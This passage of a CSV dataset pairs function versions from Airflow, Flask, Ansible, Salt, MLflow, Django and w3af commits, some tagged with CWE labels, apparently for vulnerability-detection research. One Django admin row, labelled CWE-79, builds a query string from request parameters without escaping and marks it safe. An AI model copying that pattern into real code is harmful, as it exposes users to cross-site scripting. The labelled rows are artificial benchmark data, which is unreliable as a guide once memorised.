        assert {op4, op5} == set(op6.get_direct_relatives(upstream=True))

        assert dag.get_edge_info(upstream_task_id=op1.task_id, downstream_task_id=op2.task_id) == {
            ""label"": ""label1""
        }
        assert dag.get_edge_info(upstream_task_id=op1.task_id, downstream_task_id=op3.task_id) == {
            ""label"": ""label2""
        }

        # Begin test for `XComArgs` with `EdgeModifiers`
        [xlabel1, xlabel2] = [Label(label=f""xcomarg_label{i}"") for i in range(1, 3)]
        [xop1, xop2, xop3, xop4, xop5, xop6] = [
            task_decorator(task_id=f""xcomarg_task{i}"", python_callable=lambda: None, dag=dag)()
            for i in range(1, 7)
        ]
        chain(xop1, [xlabel1, xlabel2], [xop2, xop3], [xop4, xop5], xop6)

        assert {xop2.operator, xop3.operator} == set(xop1.operator.get_direct_relatives(upstream=False))
        assert [xop4.operator] == xop2.operator.get_direct_relatives(upstream=False)
        assert [xop5.operator] == xop3.operator.get_direct_relatives(upstream=False)
        assert {xop4.operator, xop5.operator} == set(xop6.operator.get_direct_relatives(upstream=True))

        assert dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop2.operator.task_id
        ) == {""label"": ""xcomarg_label1""}
        assert dag.get_edge_info(
            upstream_task_id=xop1.operator.task_id, downstream_task_id=xop3.operator.task_id
        ) == {""label"": ""xcomarg_label2""}

        # Begin test for `TaskGroups`
        [tg1, tg2] = [TaskGroup(group_id=f""tg{i}"", dag=dag) for i in range(1, 3)]
        [op1, op2] = [BaseOperator(task_id=f""task{i}"", dag=dag) for i in range(1, 3)]
        [tgop1, tgop2] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg1, dag=dag) for i in range(1, 3)
        ]
        [tgop3, tgop4] = [
            BaseOperator(task_id=f""task_group_task{i}"", task_group=tg2, dag=dag) for i in range(1, 3)
        ]
        chain(op1, tg1, tg2, op2)

        assert {tgop1, tgop2} == set(op1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop1.get_direct_relatives(upstream=False))
        assert {tgop3, tgop4} == set(tgop2.get_direct_relatives(upstream=False))
        assert [op2] == tgop3.get_direct_relatives(upstream=False)
        assert [op2] == tgop4.get_direct_relatives(upstream=False)"
,UNKNOWN,UNKNOWN,tests/test_testing.py,1,"def test_cli_custom_obj(app):
    class NS(object):
        called = False

    def create_app():
        NS.called = True
        return app

    @app.cli.command(""hello"")
    def hello_command():
        click.echo(""Hello, World!"")

    script_info = ScriptInfo(create_app=create_app)
    runner = app.test_cli_runner()
    runner.invoke(hello_command, obj=script_info)
    assert NS.called",CWE-703,pallets/flask,2c68f86336dc8729f58e8e19af0f49c269c1cfaa,"def test_cli_custom_obj(app):
    class NS(object):
        called = False

    def create_app():
        NS.called = True
        return app

    @app.cli.command(""hello"")
    def hello_command():
        click.echo(""Hello, World!"")

    script_info = ScriptInfo(create_app=create_app)
    runner = app.test_cli_runner()
    runner.invoke(hello_command, obj=script_info)
    assert NS.called"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/task_queue_manager.py,0,"def load_callbacks(self):
        '''
        Loads all available callbacks, with the exception of those which
        utilize the CALLBACK_TYPE option. When CALLBACK_TYPE is set to 'stdout',
        only one such callback plugin will be loaded.
        '''

        if self._callbacks_loaded:
            return

        stdout_callback_loaded = False
        if self._stdout_callback is None:
            self._stdout_callback = C.DEFAULT_STDOUT_CALLBACK

        if isinstance(self._stdout_callback, CallbackBase):
            stdout_callback_loaded = True
        elif isinstance(self._stdout_callback, string_types):
            if self._stdout_callback not in callback_loader:
                raise AnsibleError(""Invalid callback for stdout specified: %s"" % self._stdout_callback)
            else:
                self._stdout_callback = callback_loader.get(self._stdout_callback)
                self._stdout_callback.set_options()
                stdout_callback_loaded = True
        else:
            raise AnsibleError(""callback must be an instance of CallbackBase or the name of a callback plugin"")

        # get all configured loadable callbacks (adjacent, builtin)
        callback_list = list(callback_loader.all(class_only=True))

        # add enabled callbacks that refer to collections, which might not appear in normal listing
        for c in C.CALLBACKS_ENABLED:
            # load all, as collection ones might be using short/redirected names and not a fqcn
            plugin = callback_loader.get(c, class_only=True)

            # TODO: check if this skip is redundant, loader should handle bad file/plugin cases already
            if plugin:
                # avoids incorrect and dupes possible due to collections
                if plugin not in callback_list:
                    callback_list.append(plugin)
            else:
                display.warning(""Skipping callback plugin '%s', unable to load"" % c)

        # for each callback in the list see if we should add it to 'active callbacks' used in the play
        for callback_plugin in callback_list:

            callback_type = getattr(callback_plugin, 'CALLBACK_TYPE', '')
            callback_needs_enabled = getattr(callback_plugin, 'CALLBACK_NEEDS_ENABLED', getattr(callback_plugin, 'CALLBACK_NEEDS_WHITELIST', False))

            # try to get colleciotn world name first
            cnames = getattr(callback_plugin, '_redirected_names', [])
            if cnames:
                # store the name the plugin was loaded as, as that's what we'll need to compare to the configured callback list later
                callback_name = cnames[0]
            else:
                # fallback to 'old loader name'
                (callback_name, ext) = os.path.splitext(os.path.basename(callback_plugin._original_path))

            display.vvvvv(""Attempting to use '%s' callback."" % (callback_name))
            if callback_type == 'stdout':
                # we only allow one callback of type 'stdout' to be loaded,
                if callback_name != self._stdout_callback or stdout_callback_loaded:
                    display.vv(""Skipping callback '%s', as we already have a stdout callback."" % (callback_name))
                    continue
                stdout_callback_loaded = True
            elif callback_name == 'tree' and self._run_tree:
                # TODO: remove special case for tree, which is an adhoc cli option --tree
                pass
            elif not self._run_additional_callbacks or (callback_needs_enabled and (
                # only run if not adhoc, or adhoc was specifically configured to run + check enabled list
                    C.CALLBACKS_ENABLED is None or callback_name not in C.CALLBACKS_ENABLED)):
                # 2.x plugins shipped with ansible should require enabling, older or non shipped should load automatically
                continue

            try:
                callback_obj = callback_plugin()
                # avoid bad plugin not returning an object, only needed cause we do class_only load and bypass loader checks,
                # really a bug in the plugin itself which we ignore as callback errors are not supposed to be fatal.
                if callback_obj:
                    # skip initializing if we already did the work for the same plugin (even with diff names)
                    if callback_obj not in self._callback_plugins:
                        callback_obj.set_options()
                        self._callback_plugins.append(callback_obj)
                    else:
                        display.vv(""Skipping callback '%s', already loaded as '%s'."" % (callback_plugin, callback_name))
                else:
                    display.warning(""Skipping callback '%s', as it does not create a valid plugin instance."" % callback_name)
                    continue
            except Exception as e:
                display.warning(""Skipping callback '%s', unable to load due to: %s"" % (callback_name, to_native(e)))
                continue

        self._callbacks_loaded = True",,ansible/ansible,652ddc407858cb5ee4b5a56fb87c271bf2fc873d,"def load_callbacks(self):
        '''
        Loads all available callbacks, with the exception of those which
        utilize the CALLBACK_TYPE option. When CALLBACK_TYPE is set to 'stdout',
        only one such callback plugin will be loaded.
        '''

        if self._callbacks_loaded:
            return

        stdout_callback_loaded = False
        if self._stdout_callback is None:
            self._stdout_callback = C.DEFAULT_STDOUT_CALLBACK

        if isinstance(self._stdout_callback, CallbackBase):
            stdout_callback_loaded = True
        elif isinstance(self._stdout_callback, string_types):
            if self._stdout_callback not in callback_loader:
                raise AnsibleError(""Invalid callback for stdout specified: %s"" % self._stdout_callback)
            else:
                self._stdout_callback = callback_loader.get(self._stdout_callback)
                self._stdout_callback.set_options()
                stdout_callback_loaded = True
        else:
            raise AnsibleError(""callback must be an instance of CallbackBase or the name of a callback plugin"")

        # get all configured loadable callbacks (adjacent, builtin)
        callback_list = list(callback_loader.all(class_only=True))

        # add enabled callbacks that refer to collections, which might not appear in normal listing
        for c in C.CALLBACKS_ENABLED:
            # load all, as collection ones might be using short/redirected names and not a fqcn
            plugin = callback_loader.get(c, class_only=True)

            # TODO: check if this skip is redundant, loader should handle bad file/plugin cases already
            if plugin:
                # avoids incorrect and dupes possible due to collections
                if plugin not in callback_list:
                    callback_list.append(plugin)
            else:
                display.warning(""Skipping callback plugin '%s', unable to load"" % c)

        # for each callback in the list see if we should add it to 'active callbacks' used in the play
        for callback_plugin in callback_list:

            callback_type = getattr(callback_plugin, 'CALLBACK_TYPE', '')
            callback_needs_enabled = getattr(callback_plugin, 'CALLBACK_NEEDS_ENABLED', getattr(callback_plugin, 'CALLBACK_NEEDS_WHITELIST', False))

            # try to get colleciotn world name first
            cnames = getattr(callback_plugin, '_redirected_names', [])
            if cnames:
                # store the name the plugin was loaded as, as that's what we'll need to compare to the configured callback list later
                callback_name = cnames[0]
            else:
                # fallback to 'old loader name'
                (callback_name, _) = os.path.splitext(os.path.basename(callback_plugin._original_path))

            display.vvvvv(""Attempting to use '%s' callback."" % (callback_name))
            if callback_type == 'stdout':
                # we only allow one callback of type 'stdout' to be loaded,
                if callback_name != self._stdout_callback or stdout_callback_loaded:
                    display.vv(""Skipping callback '%s', as we already have a stdout callback."" % (callback_name))
                    continue
                stdout_callback_loaded = True
            elif callback_name == 'tree' and self._run_tree:
                # TODO: remove special case for tree, which is an adhoc cli option --tree
                pass
            elif not self._run_additional_callbacks or (callback_needs_enabled and (
                # only run if not adhoc, or adhoc was specifically configured to run + check enabled list
                    C.CALLBACKS_ENABLED is None or callback_name not in C.CALLBACKS_ENABLED)):
                # 2.x plugins shipped with ansible should require enabling, older or non shipped should load automatically
                continue

            try:
                callback_obj = callback_plugin()
                # avoid bad plugin not returning an object, only needed cause we do class_only load and bypass loader checks,
                # really a bug in the plugin itself which we ignore as callback errors are not supposed to be fatal.
                if callback_obj:
                    # skip initializing if we already did the work for the same plugin (even with diff names)
                    if callback_obj not in self._callback_plugins:
                        callback_obj.set_options()
                        self._callback_plugins.append(callback_obj)
                    else:
                        display.vv(""Skipping callback '%s', already loaded as '%s'."" % (callback_plugin, callback_name))
                else:
                    display.warning(""Skipping callback '%s', as it does not create a valid plugin instance."" % callback_name)
                    continue
            except Exception as e:
                display.warning(""Skipping callback '%s', unable to load due to: %s"" % (callback_name, to_native(e)))
                continue

        self._callbacks_loaded = True"
,UNKNOWN,UNKNOWN,tests/unit/modules/boto_vpc_test.py,1,"def test_get_vpc_id_method_when_more_than_one_vpc_is_matched_raises_a_salt_command_execution_error(self):
        '''
        Tests getting vpc id but providing no filters
        '''
        vpc1 = self._create_vpc(name='vpc-test1')
        vpc2 = self._create_vpc(name='vpc-test2')

        with self.assertRaisesRegexp(CommandExecutionError, 'Found more than one VPC matching the criteria.'):
            boto_vpc.get_id(cidr=u'10.0.0.0/24', **conn_parameters)",CWE-605,saltstack/salt,1e74ae2c5fb77dc318fd37afe35294b96c1d57ab,"def test_get_vpc_id_method_when_more_than_one_vpc_is_matched_raises_a_salt_command_execution_error(self):
        '''
        Tests getting vpc id but providing no filters
        '''
        
        vpc1 = self._create_vpc(name='vpc-test1')
        vpc2 = self._create_vpc(name='vpc-test2')

        with self.assertRaisesRegexp(CommandExecutionError, 'Found more than one VPC matching the criteria.'):
            boto_vpc.get_id(cidr=u'10.0.0.0/24', **conn_parameters)"
,UNKNOWN,UNKNOWN,tests/langchain/test_langchain_model_export.py,1,"def test_langchain_model_streamable_param_in_log_model_for_lc_runnable_types(
    streamable, model_type
):
    with mock.patch(""mlflow.langchain._save_model""), mlflow.start_run():
        model = mock.MagicMock(spec=model_type)
        assert hasattr(model, ""stream"") is True
        model_info = mlflow.langchain.log_model(
            lc_model=model,
            artifact_path=""model"",
            streamable=streamable,
            pip_requirements=[],
        )

        expected = (streamable is None) or streamable
        assert model_info.flavors[""langchain""][""streamable""] is expected

        del model.stream
        assert hasattr(model, ""stream"") is False
        model_info = mlflow.langchain.log_model(
            lc_model=model,
            artifact_path=""model"",
            streamable=streamable,
            pip_requirements=[],
        )
        assert model_info.flavors[""langchain""][""streamable""] is bool(streamable)",CWE-703,mlflow/mlflow,91cde6ed060149b313aa0d4ee93a80d8c83a9a7a,"def test_langchain_model_streamable_param_in_log_model_for_lc_runnable_types(
    streamable, model_type
):
    with mock.patch(""mlflow.langchain._save_model""), mlflow.start_run():
        model = mock.MagicMock(spec=model_type)
        assert hasattr(model, ""stream"") is True
        model_info = mlflow.langchain.log_model(
            lc_model=model,
            artifact_path=""model"",
            streamable=streamable,
            pip_requirements=[],
        )

        expected = (streamable is None) or streamable
        assert model_info.flavors[""langchain""][""streamable""] is expected

        del model.stream
        assert hasattr(model, ""stream"") is False
        model_info = mlflow.langchain.log_model(
            lc_model=model,
            artifact_path=""model"",
            streamable=streamable,
            pip_requirements=[],
        )
        assert model_info.flavors[""langchain""][""streamable""] is bool(streamable)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/_model_registry/fluent.py,0,"def register_model(
    model_uri,
    name,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    *,
    tags: Optional[Dict[str, Any]] = None,
) -> ModelVersion:
    """"""
    Create a new model version in model registry for the model files specified by ``model_uri``.
    Note that this method assumes the model registry backend URI is the same as that of the
    tracking backend.

    :param model_uri: URI referring to the MLmodel directory. Use a ``runs:/`` URI if you want to
                      record the run ID with the model in model registry. ``models:/`` URIs are
                      currently not supported.
    :param name: Name of the registered model under which to create a new model version. If a
                 registered model with the given name does not exist, it will be created
                 automatically.
    :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.
    :param tags: A dictionary of key-value pairs that are converted into
                 :py:class:`mlflow.entities.model_registry.ModelVersionTag` objects.
    :return: Single :py:class:`mlflow.entities.model_registry.ModelVersion` object created by
             backend.

    .. test-code-block:: python
        :caption: Example

        import mlflow.sklearn
        from mlflow.models.signature import infer_signature
        from sklearn.datasets import make_regression
        from sklearn.ensemble import RandomForestRegressor

        mlflow.set_tracking_uri(""sqlite:////tmp/mlruns.db"")
        params = {""n_estimators"": 3, ""random_state"": 42}
        X, y = make_regression(n_features=4, n_informative=2, random_state=0, shuffle=False)

        # Log MLflow entities
        with mlflow.start_run() as run:
            rfr = RandomForestRegressor(**params).fit(X, y)
            signature = infer_signature(X, rfr.predict(X))
            mlflow.log_params(params)
            mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"", signature=signature)

        model_uri = ""runs:/{}/sklearn-model"".format(run.info.run_id)
        mv = mlflow.register_model(model_uri, ""RandomForestRegressionModel"")
        print(""Name: {}"".format(mv.name))
        print(""Version: {}"".format(mv.version))

    .. code-block:: text
        :caption: Output

        Name: RandomForestRegressionModel
        Version: 1
    """"""
    client = MlflowClient()
    try:
        create_model_response = client.create_registered_model(name)
        eprint(""Successfully registered model '%s'."" % create_model_response.name)
    except MlflowException as e:
        if e.error_code in (
            ErrorCode.Name(RESOURCE_ALREADY_EXISTS),
            ErrorCode.Name(ALREADY_EXISTS),
        ):
            eprint(
                ""Registered model '%s' already exists. Creating a new version of this model...""
                % name
            )
        else:
            raise e

    if RunsArtifactRepository.is_runs_uri(model_uri):
        source = RunsArtifactRepository.get_underlying_uri(model_uri)
        (run_id, _) = RunsArtifactRepository.parse_runs_uri(model_uri)
        create_version_response = client.create_model_version(
            name, source, run_id, tags=tags, await_creation_for=await_registration_for
        )
    else:
        create_version_response = client.create_model_version(
            name,
            source=model_uri,
            run_id=None,
            tags=tags,
            await_creation_for=await_registration_for,
        )
    eprint(
        ""Created version '{version}' of model '{model_name}'."".format(
            version=create_version_response.version, model_name=create_version_response.name
        )
    )
    return create_version_response",,mlflow/mlflow,1485adc7bb5999ea3f08a863e2f83adb5e8dff89,"def register_model(
    model_uri,
    name,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
    *,
    tags: Optional[Dict[str, Any]] = None,
) -> ModelVersion:
    """"""
    Create a new model version in model registry for the model files specified by ``model_uri``.
    Note that this method assumes the model registry backend URI is the same as that of the
    tracking backend.

    :param model_uri: URI referring to the MLmodel directory. Use a ``runs:/`` URI if you want to
                      record the run ID with the model in model registry. ``models:/`` URIs are
                      currently not supported.
    :param name: Name of the registered model under which to create a new model version. If a
                 registered model with the given name does not exist, it will be created
                 automatically.
    :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.
    :param tags: A dictionary of key-value pairs that are converted into
                 :py:class:`mlflow.entities.model_registry.ModelVersionTag` objects.
    :return: Single :py:class:`mlflow.entities.model_registry.ModelVersion` object created by
             backend.

    .. test-code-block:: python
        :caption: Example

        import mlflow.sklearn
        from sklearn.ensemble import RandomForestRegressor

        mlflow.set_tracking_uri(""sqlite:////tmp/mlruns.db"")
        params = {""n_estimators"": 3, ""random_state"": 42}

        # Log MLflow entities
        with mlflow.start_run() as run:
            rfr = RandomForestRegressor(**params).fit([[0, 1]], [1])
            mlflow.log_params(params)
            mlflow.sklearn.log_model(rfr, artifact_path=""sklearn-model"")

        model_uri = ""runs:/{}/sklearn-model"".format(run.info.run_id)
        mv = mlflow.register_model(model_uri, ""RandomForestRegressionModel"")
        print(""Name: {}"".format(mv.name))
        print(""Version: {}"".format(mv.version))

    .. code-block:: text
        :caption: Output

        Name: RandomForestRegressionModel
        Version: 1
    """"""
    client = MlflowClient()
    try:
        create_model_response = client.create_registered_model(name)
        eprint(""Successfully registered model '%s'."" % create_model_response.name)
    except MlflowException as e:
        if e.error_code in (
            ErrorCode.Name(RESOURCE_ALREADY_EXISTS),
            ErrorCode.Name(ALREADY_EXISTS),
        ):
            eprint(
                ""Registered model '%s' already exists. Creating a new version of this model...""
                % name
            )
        else:
            raise e

    if RunsArtifactRepository.is_runs_uri(model_uri):
        source = RunsArtifactRepository.get_underlying_uri(model_uri)
        (run_id, _) = RunsArtifactRepository.parse_runs_uri(model_uri)
        create_version_response = client.create_model_version(
            name, source, run_id, tags=tags, await_creation_for=await_registration_for
        )
    else:
        create_version_response = client.create_model_version(
            name,
            source=model_uri,
            run_id=None,
            tags=tags,
            await_creation_for=await_registration_for,
        )
    eprint(
        ""Created version '{version}' of model '{model_name}'."".format(
            version=create_version_response.version, model_name=create_version_response.name
        )
    )
    return create_version_response"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_clear_set_dagrun_state_for_subdag(self, dag_run_state):
        dag_id = 'test_clear_set_dagrun_state_subdag'
        self._clean_up(dag_id)
        task_id = 't1'
        dag = DAG(dag_id, start_date=DEFAULT_DATE, max_active_runs=1)
        t_1 = DummyOperator(task_id=task_id, dag=dag)
        subdag = DAG(dag_id + '.test', start_date=DEFAULT_DATE, max_active_runs=1)
        SubDagOperator(task_id='test', subdag=subdag, dag=dag)
        t_2 = DummyOperator(task_id='task', dag=subdag)

        session = settings.Session()
        dagrun_1 = dag.create_dagrun(
            run_type=DagRunType.BACKFILL_JOB,
            state=State.FAILED,
            start_date=DEFAULT_DATE,
            execution_date=DEFAULT_DATE,
        )
        dagrun_2 = subdag.create_dagrun(
            run_type=DagRunType.BACKFILL_JOB,
            state=State.FAILED,
            start_date=DEFAULT_DATE,
            execution_date=DEFAULT_DATE,
        )
        session.merge(dagrun_1)
        session.merge(dagrun_2)
        task_instance_1 = TI(t_1, execution_date=DEFAULT_DATE, state=State.RUNNING)
        task_instance_2 = TI(t_2, execution_date=DEFAULT_DATE, state=State.RUNNING)
        session.merge(task_instance_1)
        session.merge(task_instance_2)
        session.commit()

        dag.clear(
            start_date=DEFAULT_DATE,
            end_date=DEFAULT_DATE + datetime.timedelta(days=1),
            dag_run_state=dag_run_state,
            include_subdags=True,
            include_parentdag=False,
            session=session,
        )

        dagrun = (
            session.query(
                DagRun,
            )
            .filter(DagRun.dag_id == subdag.dag_id)
            .one()
        )
        assert dagrun.state == dag_run_state",CWE-703,apache/airflow,a4211e276fce6521f0423fe94b01241a9c43a22c,"def test_clear_set_dagrun_state_for_subdag(self, dag_run_state):
        dag_id = 'test_clear_set_dagrun_state_subdag'
        self._clean_up(dag_id)
        task_id = 't1'
        dag = DAG(dag_id, start_date=DEFAULT_DATE, max_active_runs=1)
        t_1 = DummyOperator(task_id=task_id, dag=dag)
        subdag = DAG(dag_id + '.test', start_date=DEFAULT_DATE, max_active_runs=1)
        SubDagOperator(task_id='test', subdag=subdag, dag=dag)
        t_2 = DummyOperator(task_id='task', dag=subdag)

        session = settings.Session()
        dagrun_1 = dag.create_dagrun(
            run_type=DagRunType.BACKFILL_JOB,
            state=State.FAILED,
            start_date=DEFAULT_DATE,
            execution_date=DEFAULT_DATE,
        )
        dagrun_2 = subdag.create_dagrun(
            run_type=DagRunType.BACKFILL_JOB,
            state=State.FAILED,
            start_date=DEFAULT_DATE,
            execution_date=DEFAULT_DATE,
        )
        session.merge(dagrun_1)
        session.merge(dagrun_2)
        task_instance_1 = TI(t_1, execution_date=DEFAULT_DATE, state=State.RUNNING)
        task_instance_2 = TI(t_2, execution_date=DEFAULT_DATE, state=State.RUNNING)
        session.merge(task_instance_1)
        session.merge(task_instance_2)
        session.commit()

        dag.clear(
            start_date=DEFAULT_DATE,
            end_date=DEFAULT_DATE + datetime.timedelta(days=1),
            dag_run_state=dag_run_state,
            include_subdags=True,
            include_parentdag=False,
            session=session,
        )

        dagrun = (
            session.query(
                DagRun,
            )
            .filter(DagRun.dag_id == subdag.dag_id)
            .one()
        )
        assert dagrun.state == dag_run_state"
,UNKNOWN,UNKNOWN,django/contrib/admin/views/main.py,1,"def get_query_string(self, new_params=None, remove=None):
        if new_params is None: new_params = {}
        if remove is None: remove = []
        p = self.params.copy()
        for r in remove:
            for k in p.keys():
                if k.startswith(r):
                    del p[k]
        for k, v in new_params.items():
            if k in p and v is None:
                del p[k]
            elif v is not None:
                p[k] = v
        return mark_safe('?' + '&amp;'.join([u'%s=%s' % (k, v) for k, v in p.items()]).replace(' ', '%20'))",CWE-79,django/django,e7e5fecbe0908ef70196b0a77848ae492d4c01f0,"def get_query_string(self, new_params=None, remove=None):
        if new_params is None: new_params = {}
        if remove is None: remove = []
        p = self.params.copy()
        for r in remove:
            for k in p.keys():
                if k.startswith(r):
                    del p[k]
        for k, v in new_params.items():
            if k in p and v is None:
                del p[k]
            elif v is not None:
                p[k] = v
        return mark_safe('?' + '&amp;'.join([u'%s=%s' % (k, v) for k, v in p.items()]).replace(' ', '%20'))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,saltcloud/config.py,0,"def apply_cloud_providers_config(overrides, defaults=None):
    '''
    Apply the loaded cloud providers configuration.
    '''
    if defaults is None:
        defaults = PROVIDER_CONFIG_DEFAULTS

    opts = defaults.copy()
    if overrides:
        opts.update(overrides)

    # Is the user still using the old format in the new configuration file?!
    for name, config in opts.copy().items():
        if '.' in name:
            log.warn(
                'Please switch to the new providers configuration syntax'
            )

            # Let's help out and migrate the data
            opts = old_to_new(opts)

            # old_to_new will migrate the old data into the 'providers' key of
            # the opts dictionary. Let's map it correctly
            for name, config in opts.pop('providers').items():
                opts[name] = config

            break

    providers = {}

    for key, val in opts.items():
        if key in ('conf_file', 'include', 'default_include'):
            continue

        if not isinstance(val, (list, tuple)):
            val = [val]
        else:
            # Need to check for duplicate cloud provider entries per ""alias"" or
            # we won't be able to properly reference it.
            handled_providers = set()
            for details in val:
                if 'provider' not in details:
                    if 'extends' not in details:
                        log.error(
                            'Please check your cloud providers configuration. '
                            'There\'s no \'provider\' nor \'extends\' '
                            'definition. So it\'s pretty useless.'
                        )
                    continue
                if details['provider'] in handled_providers:
                    log.error(
                        'You can only have one entry per cloud provider. For '
                        'example, if you have a cloud provider configuration '
                        'section named, \'production\', you can only have a '
                        'single entry for EC2, Joyent, Openstack, and so '
                        'forth.'
                    )
                handled_providers.add(
                    details['provider']
                )

        providers[key] = val

    # Is any provider extending data!?
    for provider_alias, entries in providers.copy().items():

        for idx, details in enumerate(entries):
            if 'extends' not in details:
                continue

            extends = details.pop('extends')

            if ':' in extends:
                alias, provider = extends.split(':')
                if alias not in providers:
                    log.error(
                        'The {0!r} cloud provider entry in {1!r} is trying '
                        'to extend data from {2!r} though {2!r} is not '
                        'defined in the salt cloud providers loaded '
                        'data.'.format(
                            details['provider'],
                            provider_alias,
                            alias
                        )
                    )
                    continue

                for entry in providers.get(alias):
                    if entry['provider'] == provider:
                        extended = entry.copy()
                        break
                else:
                    log.error(
                        'The {0!r} cloud provider entry in {1!r} is trying '
                        'to extend data from \'{2}:{3}\' though {3!r} is not '
                        'defined in {1!r}'.format(
                            details['provider'],
                            provider_alias,
                            alias,
                            provider
                        )
                    )
            elif len(providers.get(extends)) > 1:
                log.error(
                    'The {0!r} cloud provider entry in {1!r} is trying to '
                    'extend from {2!r} which has multiple entries and no '
                    'provider is being specified. Not extending!'.format(
                        details['provider'], provider_alias, extends
                    )
                )
                continue
            elif extends not in providers:
                log.error(
                    'The {0!r} cloud provider entry in {1!r} is trying to '
                    'extend data from {2!r} though {2!r} is not defined in '
                    'the salt cloud providers loaded data.'.format(
                        details['provider'], provider_alias, extends
                    )
                )
                continue
            else:
                extended = providers.get(extends)[0][:]

            # Update the data to extend with the data to be extended
            extended.update(details)

            # Update the provider's entry with the extended data
            providers[provider_alias][idx] = extended

    return providers",,saltstack/salt,ffb8e70daa98509f63adb2cfc1762484e5098281,"def apply_cloud_providers_config(overrides, defaults=None):
    '''
    Apply the loaded cloud providers configuration.
    '''
    if defaults is None:
        defaults = PROVIDER_CONFIG_DEFAULTS

    opts = defaults.copy()
    if overrides:
        opts.update(overrides)

    # Is the user still using the old format in the new configuration file?!
    for name, config in opts.copy().items():
        if '.' in name:
            log.warn(
                'Please switch to the new providers configuration syntax'
            )

            # Let's help out and migrate the data
            opts = old_to_new(opts)

            # old_to_new will migrate the old data into the 'providers' key of
            # the opts dictionary. Let's map it correctly
            for name, config in opts.pop('providers').items():
                opts[name] = config

            break

    providers = {}

    for key, val in opts.items():
        if key in ('conf_file', 'include', 'default_include'):
            continue

        if not isinstance(val, (list, tuple)):
            val = [val]
        else:
            # Need to check for duplicate cloud provider entries per ""alias"" or
            # we won't be able to properly reference it.
            handled_providers = set()
            for details in val:
                if details['provider'] in handled_providers:
                    log.error(
                        'You can only have one entry per cloud provider. For '
                        'example, if you have a cloud provider configuration '
                        'section named, \'production\', you can only have a '
                        'single entry for EC2, Joyent, Openstack, and so '
                        'forth.'
                    )
                handled_providers.add(
                    details['provider']
                )

        providers[key] = val

    # Is any provider extending data!?
    for provider_alias, entries in providers.copy().items():

        for idx, details in enumerate(entries):
            if 'extends' not in details:
                continue

            extends = details.pop('extends')
            if extends not in providers:
                log.error(
                    'The {0!r} cloud provider entry in {1!r} is trying to '
                    'extend data from {2!r} though {2!r} is not defined in '
                    'the salt cloud providers loaded data.'.format(
                        details['provider'], provider_alias, extends
                    )
                )
                continue

            if ':' in extends:
                alias, provider = extends.split(':')
                for entry in providers.get(alias):
                    if entry['provider'] == provider:
                        extended = entry.copy()
                        break
            elif len(providers.get(extends)) > 1:
                log.error(
                    'The {0!r} cloud provider entry in {1!r} is trying to '
                    'extend from {2!r} which has multiple entries and no '
                    'provider is being specified. Not extending!'.format(
                        details['provider'], provider_alias, extends
                    )
                )
                continue
            else:
                extended = providers.get(extends)[0][:]

            # Update the data to extend with the data to be extended
            extended.update(details)

            # Update the provider's entry with the extended data
            providers[provider_alias][idx] = extended

        return providers"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/discovery/findGit.py,0,"def discover(self, fuzzableRequest ):
        '''
        For every directory, fetch a list of files and analyze the response using regex.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        domain_path = fuzzableRequest.getURL().getDomainPath()
        self._fuzzable_requests_to_return = []
        
        if domain_path not in self._analyzed_dirs:
            self._analyzed_dirs.append( domain_path )

            #
            #   First we check if the .git/HEAD file exists
            #
            relative_url, reg_ex = self._compiled_git_info[0]
            git_url = domain_path.urlJoin(relative_url)
            try:
                response = self._uri_opener.GET( git_url, cache=True )
            except w3afException:
                om.out.debug('Failed to GET git file: ""' + git_url + '""')
            else:
                if not is_404(response):
                    #
                    #   It looks like we have a GIT repository!
                    #
                    for relative_url, reg_ex in self._compiled_git_info:
                        git_url = domain_path.urlJoin(relative_url)
                        args = (domain_path, git_url, reg_ex)
                        # Note: The .git/HEAD request is only sent once.
                        # The cache is used.
                        self._run_async(meth=self._check_if_exists, args=args)
                    
                    # Wait for all threads to finish
                    self._join()
                
            return self._fuzzable_requests_to_return",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def discover(self, fuzzableRequest ):
        '''
        For every directory, fetch a list of files and analyze the response using regex.
        
        @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
        '''
        domain_path = fuzzableRequest.getURL().getDomainPath()
        self._fuzzable_requests_to_return = []
        
        if domain_path not in self._analyzed_dirs:
            self._analyzed_dirs.append( domain_path )

            #
            #   First we check if the .git/HEAD file exists
            #
            relative_url, reg_ex = self._compiled_git_info[0]
            git_url = domain_path.urlJoin(relative_url)
            try:
                response = self._urlOpener.GET( git_url, useCache=True )
            except w3afException:
                om.out.debug('Failed to GET git file: ""' + git_url + '""')
            else:
                if not is_404(response):
                    #
                    #   It looks like we have a GIT repository!
                    #
                    for relative_url, reg_ex in self._compiled_git_info:
                        git_url = domain_path.urlJoin(relative_url)
                        args = (domain_path, git_url, reg_ex)
                        # Note: The .git/HEAD request is only sent once.
                        # The cache is used.
                        self._run_async(meth=self._check_if_exists, args=args)
                    
                    # Wait for all threads to finish
                    self._join()
                
            return self._fuzzable_requests_to_return"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/security.py,0,"def get_accessible_dag_ids(self, user, user_actions=None, session=None) -> set[str]:
        """"""Generic function to get readable or writable DAGs for user.""""""
        if not user_actions:
            user_actions = [permissions.ACTION_CAN_EDIT, permissions.ACTION_CAN_READ]

        if user.is_anonymous:
            roles = user.roles
        else:
            if (permissions.ACTION_CAN_EDIT in user_actions and self.can_edit_all_dags(user)) or (
                permissions.ACTION_CAN_READ in user_actions and self.can_read_all_dags(user)
